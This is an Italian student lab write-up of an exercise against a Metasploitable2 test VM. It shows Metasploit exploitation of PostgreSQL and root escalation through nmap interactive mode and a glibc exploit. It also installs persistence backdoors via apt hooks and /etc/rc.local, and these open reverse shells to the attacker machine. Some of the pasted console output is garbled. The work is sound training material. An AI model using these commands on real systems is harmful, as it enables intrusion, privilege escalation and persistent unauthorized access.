Esercizio S7_L3_msfconsole_x_PostgreSQL

Consegna

Usa il modulo exploit/linux/postgres/postgres_payload per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2.

Esegui l'exploit per ottenere una sessione Meterpreter sul sistema target. Escalation di privilegi e backdoor:

- Una volta ottenuta la sessione Meterpreter, il tuo compito è eseguire un'escalation di privilegi per passare da un utente limitato a root utilizzando solo i mezzi forniti da msfconsole.
- Esegui il comando getuid per verificare l'identità dell'utente corrente.

Bonus

- Usa il modulo post di msfconsole per identificare potenziali vulnerabilità locali che possono essere sfruttate per l'escalation di privilegi.
- Esegui l'exploit proposti e verifica ogni vulnerabilità trovata dal modulo sopracitato.
- Per ogni vulnerabilità test l'escalation di privilegi eseguendo nuovamente getuid o tentando di eseguire un comando che richiede privilegi di root.
- sempre usando msfconsole installa una backdoor e dimostra che puoi accedere ad essa in un momento successivo.

SVOLGIMENTO

Ambiente

Macchina attaccare: Kali Linux 192.168.2.10
Macchina Target: Metasploitable2 192.168.2.100

Discovery servizi

Per prima cosa ho avviato un comando nmap per ottenere le informazioni iniziali necessarie all'individuazione del servizio target.

nmap -sV -O -sC 192.168.2.100

Gaining Access

Successivamente ho avviato msfconsole ed ho ricercato gli exploit basandomi sul nome del servizio da exploitare.

use exploit/linux/postgres/postgres_payload

Una volta selezionato l'exploit ho poi deciso di utilizzare un payload con meterpreter in reverse top ed ho settato i vari parametri.

```
msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):

Name Current Setting Required Description
```

```
set LHOST 192.168.2.10
set RHOST 192.168.2.100
set RPORT 5432
set LPORT 4444
set PAYLOAD linux/x86/meterpreter/reverse_tcp
run
```

Una volta eseguito l'exploit è stato immediato l'ottenimento della shell meterpreter.

Utilizzando getuid possiamo dunque determinare il nostro user.

```
meterpreter > getuid
Server username: postgres
```

Utilizzando invece sysinfo possiamo ottenere una panoramica completa del sistema operativo nel quale siamo penetrati.

```
meterpreter > sysinfo
Computer : metasploitable.localdomain
OS : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
```

Ho infine eseguito run post/multi/recon/local_exploit_suggester per recuperare le vulnerabilità disponibili all'interno della macchina per la privilege escalation:

Tra i risultati, il più promettente sembra essere setuid_nmap che, come mostrato dall'output, dovrebbe essere utilizzabile e funzionante.

Procedo mettendo la sessione in background e seleziono l'exploit.

```
msf6 exploit(limux/local/ptrace_sudo_token_priv_esc) > use exploit/unix/local/setuid_nmap
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf6 exploit(unix/local/setuid_nmap) > show options
```

Anche in questo caso setto le options tra cui la sessions 1 su cui sta girando in background meterpreter.

Una volta avviato, l'exploit sembra portare a termine l'esecuzione con successo ma per qualche problema, forse di compatibilità, non riesce a creare la sessione.

Dopo svariati tentativi ho deciso di muovermi verso altri payloads ma prima ho voluto verificare se riuscissi effettivamente ad ottenere manualmente la shell root tramite la modalità interactive di nmap.

Entrando nella sessione meterpreter ho avviato la shell ed inseguito **nmap in modalità interactive**. A quel punto tramite un semplice !sh è stato possibile avviare la shell con permessi root.

```
msf6 exploit(unix/local/setuid_nmap) > sessions 1
[*] Starting interaction with 1...

meterpreter > shell
Process 5737 created.
Channel 127 created.
nmap --interactive

Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
whoami
root
```

Non avendo comunque seguito la **consegna letteralmente** ho dunque testato un altro exploit di privilege escalation:

use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc

```
> set PAYLOAD payload/linux/x86/meterpreter/reverse_tcp
PAYLOAD ⇒ linux/x86/meterpreter/reverse_tcp
                                                         c) > show options
msf6 exploit(
Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
                    Current Setting Required Description
   SESSTON
                                                The session to run this module on
   SUID_EXECUTABLE /bin/ping
                                             Path to a SUID executable
Payload options (linux/x86/meterpreter/reverse_tcp):
        Current Setting Required Description
   LHOST 192.168.2.10
LPORT 4444
                         yes The listen addro
yes The listen port
                                     The listen address (an interface may be specified)
Exploit target:
   Id Name
       Automatic
```

Questa volta, una volta settati correttamente tutti i parametri sono riuscito ad avviare una nuova sessione meterpreter:

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set SESSION 1
SESSION ⇒ 1
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.2.10:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.abBoQGS8wJ' (1271 bytes) ...
[*] Writing '/tmp/.XJmqapue' (296 bytes) ...
[*] Writing '/tmp/.y68Uo' (207 bytes) ...
[*] Writing '/tmp/.y68Uo' (207 bytes) ...
[*] Sending stage (1017704 bytes) to 192.168.2.100
[*] Meterpreter session 3 opened (192.168.2.10:4444 → 192.168.2.100:49215) at 2025-08-27 11:29:30 -0400
meterpreter > ■
```

Dando un occhio all getuid notiamo con piacere che siamo riusciti ad ottenere i privilegi root:

```
meterpreter > getuid
Server username: root
```

PERSISTENCE

Giunti a questo punto, l'ultimo passaggio richiesto era quello di instaurare un meccanismo di persistenza all'interno della Metasploitable2.

Osservando i vari exploits ho deciso di provarne uno che consisteva nell'ottenere una reverse shell sulla macchina attaccante ogniqualvolta qualcuno avesse utilizzato un comando apt. Ho deciso di optare per tale soluzione in quanto anche un semplice check relativo all'update e upgrade

degli apt è qualcosa che viene svolto anche giornalmente all'interno di un normale sistema linux.

Ho dunque selezionato l'exploit:

use exploit/linux/local/apt_package_manager_persistence

```
msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > use exploit/linux/local/apt_package_manager_persistence
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf6 exploit(linux/local/apt_package_manager_persistence) > show payloads
```

Ho settato i vari parametri ed ho avviato l'exploit che è stato eseguito con esito positivo::

```
set AllowNoCleanup true
set SESSION 3
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.2.10
set LPORT 6666
exploit
```

Ho infine avviato l'handler per il listening:

```
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.2.10
set LPORT 6666
exploit
```

Testandone poi il funzionamento possiamo notare che appena avviato un comando apt, l'handler avvia una shell meterpreter funzionante.

```
admin@metasploitable:
                             'S sudo apt-get update
% [Connecting to us.archive.ubuntu.com] [Connecting to archive.canonical.com]
                                                       r) > use exploit/multi/handler
   Using configured payload cmd/unix/reverse_python
msf6 exploit(
                            ) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
PAYLOAD ⇒ linux/x86/meterpreter/reverse_tcp
PAYLUAD → msf6 exploit(multi/handler) > set Ends
LHOST → 192.168.2.10

Convaloit(multi/handler) > set LPORT 6666
                           r) > set LHOST 192.168.2.10
LPORT ⇒ 6666
                            r) > exploit
msf6 exploit(
  *] Started reverse TCP handler on 192.168.2.10:6666
   Sending stage (1017704 bytes) to 192.168.2.100
Meterpreter session 1 opened (192.168.2.10:6666 → 192.168.2.100:50980) at 2025-08-27 12:16:21 -0400
meterpreter >
```

A questo punto ho voluto poi inserire un ulteriore metodo di persistenza basato sull'avvio della macchina.

Ho quindi scelto use exploit/linux/local/rc_local_persistence

```
45 exploit/windows/local/registry_persistence 2015-07-01 excellent
46 exploit/windows/local/persistence_image_exec_options 2008-06-28 excellent
47 exploit/linux/local/yum_package_manager_persistence 2003-12-17 excellent
48 exploit/unix/local/at_persistence 1997-01-01 excellent
49 exploit/linux/local/rc_local_persistence 1980-10-01 excellent
50 exploit/linux/local/udev_persistence 1999-01-01 great
51 exploit/linux/local/motd_persistence 1999-01-01 normal
```

Osservando i payloads disponibili ho deciso di optare per un reverse con python.

payload/cmd/unix/reverse_python

```
msf6 exploit(lin
                                                                                                                                                  ) > show payloads
                    Name
                                                                                                                                               Disclosure Date Rank
                                                                                                                                                                                                                                Check Description
                                                                                                                                                                                                                                                    Add user with useradd
Unix Command Shell, Bind TCP (via netcat)
Unix Command Shell, Bind TCP (via Perl)
Unix Command Shell, Bind TCP (via perl) TPv6
Unix Command Shell, Bind TCP (via Ruby)
Unix Command Shell, Bind TCP (via Ruby) IPv6
Unix Command Shell, Bind TCP (via Ruby) IPv6
Unix Command Shell, Bind TCP (via netcat)
Unix Command Shell, Pingback Bind TCP (via netcat)
Unix Command Shell, Pingback Reverse TCP (via netcat)
Unix Command Shell, Reverse TCP (via netcat)
Unix Command Shell, Reverse TCP (via perl)
Unix Command Shell, Reverse TCP (via perl)
Unix Command Shell, Reverse TCP (via python)
Unix Command Shell, Reverse TCP (via Ruby)
Unix Command Shell, Reverse TCP (via Ruby)
Unix Command Shell, Reverse TCP (via Ruby)
                      payload/cmd/unix/adduser
payload/cmd/unix/bind_netcat
                                                                                                                                                                                                       normal
                     payload/cmd/unix/bind_perl
payload/cmd/unix/bind_perl_ipv6
                      payload/cmd/unix/bind_ruby
payload/cmd/unix/bind_ruby_ipv6
                    payload/cmd/unix/bing-ruby_ipvb
payload/cmd/unix/generic
payload/cmd/unix/pingback_bind
payload/cmd/unix/pingback_reverse
payload/cmd/unix/reverse_netcat
payload/cmd/unix/reverse_perl
payload/cmd/unix/reverse_python
payload/cmd/unix/reverse_python
                                                                                                                                                                                                      normal
normal
                                                                                                                                                                                                     normal No
                                                                                                                                                                                                       normal
                                                                                                                                                                                                                                No
No
                                                                                                                                                                                                       normal
                       payload/cmd/unix/reverse_python_ssl
                                                                                                                                                                                                        normal
                      payload/cmd/unix/reverse_ruby_ssl
                                                                                                                                                                                                                                                        Unix Command Shell, Reverse TCP SSL (via Ruby)
```

Ho quindi settato le varie options:

```
msf6 exploit(linux/local/rc_local_persistence) > set SESSION 3
SESSION ⇒ 3
msf6 exploit(linux/local/rc_local_persistence) > set PAYLOAD cmd/unix/reverse_python
PAYLOAD ⇒ cmd/unix/reverse_python
msf6 exploit(linux/local/rc_local_persistence) > set LHOST 192.168.2.10
LHOST ⇒ 192.168.2.10
msf6 exploit(linux/local/rc_local_persistence) > set LPORT 6666
LPORT ⇒ 6666
```

Prima di procedere ho voluto assicurarmi però che python fosse effettivamente presente ed ho constatato che è presente nella versione 2.5.2.

```
msf6 exploit(linux/local/rc_local_persistence) > sessions 3
[*] Starting interaction with 3...

meterpreter > shell
Process 5885 created.
Channel 10 created.
which python
/usr/bin/python
python -V
Python 2.5.2
```

Avvio quindi l'exploit che riesce a patchare con successo il file rc.local all'interno di **/etc.**

```
msf6 exploit(linux/local/rc_local_persistence) > run
[*] Reading /etc/rc.local
[*] Patching /etc/rc.local
```

Da questo momento, avendo l'handler attivo con python reverse sulla porta 6666, ogni qualvolta la Metasploitable2 viene avviata, l'exploit avvierà una reverse shell sulla Kali.

Conclusioni

L'attività ha mostrato come sia possibile sfruttare una vulnerabilità nel servizio **PostgreSQL** di Metasploitable2 per ottenere rapidamente una sessione Meterpreter da utente non privilegiato.

Attraverso i moduli di ricognizione di Metasploit ho poi identificato alcune possibili tecniche di escalation. Alcune di queste, come setuid_nmap, si sono rivelate non pienamente compatibili con l'ambiente di test; altre invece, come glibc_ld_audit_dso_load_priv_esc, hanno permesso di avviare una nuova sessione Meterpreter con privilegi root, soddisfacendo così la consegna di escalation di privilegi.

Una volta ottenuto l'accesso amministrativo, ho sperimentato diverse strategie di persistenza.

- La prima, basata su APT package manager persistence, consente di ristabilire una sessione Meterpreter root ogni volta che viene eseguito un comando apt-get.
- La seconda, basata su rc.local persistence, assicura una backdoor al riavvio del sistema grazie all'inserimento di un payload Python all'interno del file /etc/rc.local.

Questi due approcci, uno legato alle operazioni di amministrazione e l'altro all'avvio della macchina, dimostrano come sia possibile mantenere un accesso prolungato al sistema compromesso anche dopo la chiusura della sessione iniziale.

In conclusione, l'esercitazione ha permesso di:

- Identificare e sfruttare un servizio vulnerabile per ottenere l'accesso iniziale.
- Sperimentare diverse tecniche di **privilege escalation**, convalidando l'ottenimento dei privilegi root.
- Configurare **backdoor persistenti** tramite msfconsole, dimostrando la capacità di mantenere l'accesso al sistema in diversi scenari operativi.